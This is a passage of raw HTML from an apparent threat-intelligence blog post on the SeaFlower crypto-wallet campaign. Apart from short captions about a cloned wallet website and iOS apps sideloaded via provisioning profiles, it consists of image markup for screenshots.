class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">cloned token pocket website hosted at fastrpo[.]com</figcaption></figure></div><p>Note: Surprisingly we didn&#8217;t find a backdoored chrome extension delivered from these clone websites, all the links point to the real chrome extension in the Chrome Webstore, so as of now, fake chrome extension delivery isn&#8217;t part or wasn&#8217;t identified in the SeaFlower intrusion-set.</p><p>For iOS, SeaFlower is using provisioning profiles. Once installed, the iOS apps are then sideloaded to the victim&#8217;s phone and installed. Below are some of the steps we recorded of typically what the victim will see when browsing one of the SeaFlower websites using an iPhone:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1SFg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1SFg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 424w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 848w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 1272w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1SFg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png" width="500" height="866" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:866,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1SFg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 424w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 848w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 1272w, https://substackcdn.com/image/fetch/$s_!1SFg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c679a58-9d74-4c73-9f98-26b14a9c06f7_500x866.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jjnD!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jjnD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 424w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 848w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 1272w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jjnD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png" width="500" height="863" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:863,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jjnD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 424w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 848w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 1272w, https://substackcdn.com/image/fetch/$s_!jjnD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb37494be-44c6-4dbb-8b85-08f6395940d2_500x863.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mWme!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mWme!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 424w, https://substackcdn.com/image/fetch/$s_!mWme!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 848w, https://substackcdn.com/image/fetch/$s_!mWme!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 1272w, https://substackcdn.com/image/fetch/$s_!mWme!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mWme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png" width="500" height="865" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:865,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mWme!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 424w, https://substackcdn.com/image/fetch/$s_!mWme!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 848w, https://substackcdn.com/image/fetch/$s_!mWme!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 1272w, https://substackcdn.com/image/fetch/$s_!mWme!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8ed0904-cf16-4f57-bb46-93f73580b152_500x865.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!2mc4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!2mc4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 424w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 848w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 1272w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!2mc4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png" width="750" height="1294" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1294,&quot;width&quot;:750,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!2mc4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 424w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 848w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 1272w, https://substackcdn.com/image/fetch/$s_!2mc4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff824bde8-f973-47ba-ae57-543e2171a3fb_750x1294.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!H62h!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!H62h!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 424w, https://substackcdn.com/image/fetch/$s_!H62h!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 848w, https://substackcdn.com/image/fetch/$s_!H62h!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 1272w, https://substackcdn.com/image/fetch/$s_!H62h!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!H62h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png" width="500" height="879" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:879,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!H62h!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 424w, https://substackcdn.com/image/fetch/$s_!H62h!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 848w, https://substackcdn.com/image/fetch/$s_!H62h!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 1272w, https://substackcdn.com/image/fetch/$s_!H62h!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F63160875-9bcf-4e27-89dc-621a40ea4268_500x879.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jYTz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jYTz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 424w, https://substackcdn.com/image/fetch/$s_!jYTz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 848w, https://substackcdn.com/image/fetch/$s_!jYTz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 1272w, https://substackcdn.com/image/fetch/$s_!jYTz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jYTz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png" width="500" height="864" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:864,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jYTz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58300ee7-3f15-4c75-9bc2-644175004f33_500x864.png 424w, 